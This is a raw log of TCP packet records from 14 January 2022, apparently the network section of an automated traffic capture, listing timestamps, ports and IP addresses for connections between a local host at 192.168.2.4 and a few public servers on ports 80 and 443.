Jan 14, 2022 12:29:58.908340931 CET	49876	443	192.168.2.4	172.67.139.105
Jan 14, 2022 12:29:58.908354044 CET	443	49876	172.67.139.105	192.168.2.4
Jan 14, 2022 12:29:58.908565044 CET	443	49876	172.67.139.105	192.168.2.4
Jan 14, 2022 12:29:58.909424067 CET	49876	443	192.168.2.4	172.67.139.105
Jan 14, 2022 12:29:58.949867964 CET	443	49876	172.67.139.105	192.168.2.4
Jan 14, 2022 12:29:59.113279104 CET	443	49876	172.67.139.105	192.168.2.4
Jan 14, 2022 12:29:59.113368034 CET	443	49876	172.67.139.105	192.168.2.4
Jan 14, 2022 12:29:59.113399029 CET	443	49876	172.67.139.105	192.168.2.4
Jan 14, 2022 12:29:59.113428116 CET	443	49876	172.67.139.105	192.168.2.4
Jan 14, 2022 12:29:59.113456964 CET	443	49876	172.67.139.105	192.168.2.4
Jan 14, 2022 12:29:59.113485098 CET	443	49876	172.67.139.105	192.168.2.4
Jan 14, 2022 12:29:59.113504887 CET	49876	443	192.168.2.4	172.67.139.105
Jan 14, 2022 12:29:59.113512993 CET	443	49876	172.67.139.105	192.168.2.4
Jan 14, 2022 12:29:59.113518953 CET	49876	443	192.168.2.4	172.67.139.105
Jan 14, 2022 12:29:59.113527060 CET	443	49876	172.67.139.105	192.168.2.4
Jan 14, 2022 12:29:59.113579988 CET	49876	443	192.168.2.4	172.67.139.105
Jan 14, 2022 12:29:59.113593102 CET	49876	443	192.168.2.4	172.67.139.105
Jan 14, 2022 12:29:59.113605022 CET	443	49876	172.67.139.105	192.168.2.4
Jan 14, 2022 12:29:59.113621950 CET	443	49876	172.67.139.105	192.168.2.4
Jan 14, 2022 12:29:59.114053965 CET	49876	443	192.168.2.4	172.67.139.105
Jan 14, 2022 12:29:59.120409012 CET	49876	443	192.168.2.4	172.67.139.105
Jan 14, 2022 12:29:59.120438099 CET	443	49876	172.67.139.105	192.168.2.4
Jan 14, 2022 12:29:59.120512009 CET	49876	443	192.168.2.4	172.67.139.105
Jan 14, 2022 12:29:59.120527983 CET	443	49876	172.67.139.105	192.168.2.4
Jan 14, 2022 12:29:59.146270990 CET	49877	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:59.164453983 CET	80	49877	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:59.165930986 CET	49877	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:59.166048050 CET	49877	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:59.167154074 CET	49877	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:59.184714079 CET	80	49877	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:59.186430931 CET	80	49877	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:59.292527914 CET	80	49877	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:59.292596102 CET	49877	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:59.292810917 CET	49877	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:59.309973955 CET	80	49877	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:59.326056004 CET	49878	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:29:59.326117039 CET	443	49878	144.76.136.153	192.168.2.4
Jan 14, 2022 12:29:59.326296091 CET	49878	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:29:59.332546949 CET	49878	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:29:59.332576990 CET	443	49878	144.76.136.153	192.168.2.4
Jan 14, 2022 12:29:59.419908047 CET	443	49878	144.76.136.153	192.168.2.4
Jan 14, 2022 12:29:59.420043945 CET	49878	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:29:59.421900034 CET	49878	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:29:59.421921015 CET	443	49878	144.76.136.153	192.168.2.4
Jan 14, 2022 12:29:59.422244072 CET	443	49878	144.76.136.153	192.168.2.4
Jan 14, 2022 12:29:59.423180103 CET	49878	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:29:59.465872049 CET	443	49878	144.76.136.153	192.168.2.4
Jan 14, 2022 12:29:59.469918966 CET	443	49878	144.76.136.153	192.168.2.4
Jan 14, 2022 12:29:59.470103979 CET	443	49878	144.76.136.153	192.168.2.4
Jan 14, 2022 12:29:59.471204042 CET	49878	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:29:59.570830107 CET	49878	443	192.168.2.4	144.76.136.153
Jan 14, 2022 12:29:59.570882082 CET	443	49878	144.76.136.153	192.168.2.4
Jan 14, 2022 12:29:59.723779917 CET	49879	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:59.741053104 CET	80	49879	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:59.743251085 CET	49879	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:59.743330002 CET	49879	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:59.743350983 CET	49879	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:59.760633945 CET	80	49879	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:59.864466906 CET	80	49879	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:59.864486933 CET	80	49879	8.209.70.0	192.168.2.4
Jan 14, 2022 12:29:59.865184069 CET	49879	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:59.896699905 CET	49879	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:29:59.915318012 CET	80	49879	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:00.054198027 CET	49880	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:00.071506977 CET	80	49880	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:00.072988033 CET	49880	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:00.073105097 CET	49880	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:00.073116064 CET	49880	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:00.090375900 CET	80	49880	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:00.090393066 CET	80	49880	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:00.192332983 CET	80	49880	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:00.192425013 CET	49880	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:00.192457914 CET	49880	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:00.210654974 CET	80	49880	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:00.695290089 CET	49881	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:00.712872028 CET	80	49881	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:00.713001013 CET	49881	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:00.713305950 CET	49881	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:00.713495970 CET	49881	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:00.730655909 CET	80	49881	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:00.730675936 CET	80	49881	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:00.832882881 CET	80	49881	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:00.832953930 CET	49881	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:00.839699984 CET	49881	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:00.857163906 CET	80	49881	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:00.985340118 CET	49882	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:01.002671003 CET	80	49882	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:01.002756119 CET	49882	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:01.002847910 CET	49882	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:01.003308058 CET	49882	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:01.020215988 CET	80	49882	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:01.020438910 CET	80	49882	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:01.122343063 CET	80	49882	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:01.122472048 CET	49882	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:01.230001926 CET	49882	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:01.247371912 CET	80	49882	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:01.427378893 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:01.444917917 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:01.445302963 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.217035055 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.277694941 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.317548037 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.317620039 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.317678928 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.317734957 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.317790031 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.317794085 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.317819118 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.317876101 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.317926884 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.317945957 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.318000078 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.318048954 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.318058014 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.318119049 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.318815947 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.335509062 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.357531071 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.357594013 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.357636929 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.357676983 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.357717991 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.357722044 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.357738972 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.357757092 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.357796907 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.357836962 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.357845068 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.357855082 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.357912064 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.357950926 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.357991934 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.358032942 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.358072042 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.358078957 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.358084917 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.358109951 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.358148098 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.358187914 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.358203888 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.358210087 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.358230114 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.358269930 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.358287096 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.377517939 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.377572060 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.377605915 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.377614021 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.377651930 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.377671957 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.397013903 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.397068977 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.397105932 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.397146940 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.397161007 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.397181034 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.397207975 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.397249937 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.397289038 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.397326946 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.397346020 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.397360086 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.397384882 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.397433043 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.397475004 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.397516012 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.397536039 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.397548914 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.397574902 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.397618055 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.397658110 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.397697926 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.397706032 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.397718906 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.397756100 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.397798061 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.397835016 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.397918940 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.397932053 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.397934914 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.397991896 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.398036957 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.398075104 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.398116112 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.398124933 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.398138046 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.398175001 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.398216009 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.398257971 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.398298979 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.398307085 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.398319006 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.398356915 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.398400068 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.398438931 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.398478985 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.398490906 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.398502111 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.398536921 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.398581028 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.398622036 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.398658991 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.398675919 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.398690939 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.398718119 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.398761988 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.398798943 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.398840904 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.398852110 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.398865938 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.416785955 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.416832924 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.416882992 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.416929960 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.416933060 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.417066097 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.435628891 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.435678005 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.435719013 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.435760021 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.435775042 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.435795069 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.435818911 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.435863972 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.435903072 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.435920000 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.435959101 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.435962915 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.436022997 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.436068058 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.436074018 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.436122894 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.436161995 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.436204910 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.436247110 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.436252117 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.436264992 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.436304092 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.436343908 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.436382055 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.436427116 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.436433077 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.436444998 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.436484098 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.436523914 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.436562061 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.436604023 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.436610937 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.436623096 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.436661005 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.436702013 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.436739922 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.436759949 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.436794996 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.436800003 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.436850071 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.436892033 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.436911106 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.436949968 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.436992884 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.437030077 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.437072039 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.437076092 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.437088966 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.437129974 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.437170982 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.437211037 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.437251091 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.437256098 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.437268972 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.437309980 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.437351942 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.437390089 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.437428951 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.437458038 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.437469959 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.437483072 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.437530041 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.437570095 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.437608957 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.437618971 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.437628984 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.437669039 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.437711954 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.437750101 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.437791109 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.437797070 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.437812090 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.437889099 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.437985897 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.455683947 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.455725908 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.455766916 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.455806971 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.455849886 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.455853939 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.455877066 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.455909014 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.455962896 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.455976009 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.456020117 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.456060886 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.456099987 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.456142902 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.456149101 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.456161976 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.456202030 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.456243038 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.456300020 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.456348896 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.456358910 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.456362009 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.456418037 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.456461906 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.456500053 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.456541061 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.456548929 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.456561089 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.456600904 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.456640959 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.456681013 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.456722021 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.456728935 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.456741095 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.456778049 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.456820965 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.456857920 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.456899881 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.456907034 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.456918001 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.456959009 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.457000971 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.457041025 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.457082987 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.457088947 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.457099915 CET	49883	80	192.168.2.4	8.209.70.0
Jan 14, 2022 12:30:02.457139015 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.457180977 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.457221031 CET	80	49883	8.209.70.0	192.168.2.4
Jan 14, 2022 12:30:02.457262039 CET	80	49883	8.209.70.0	192.168.2.4
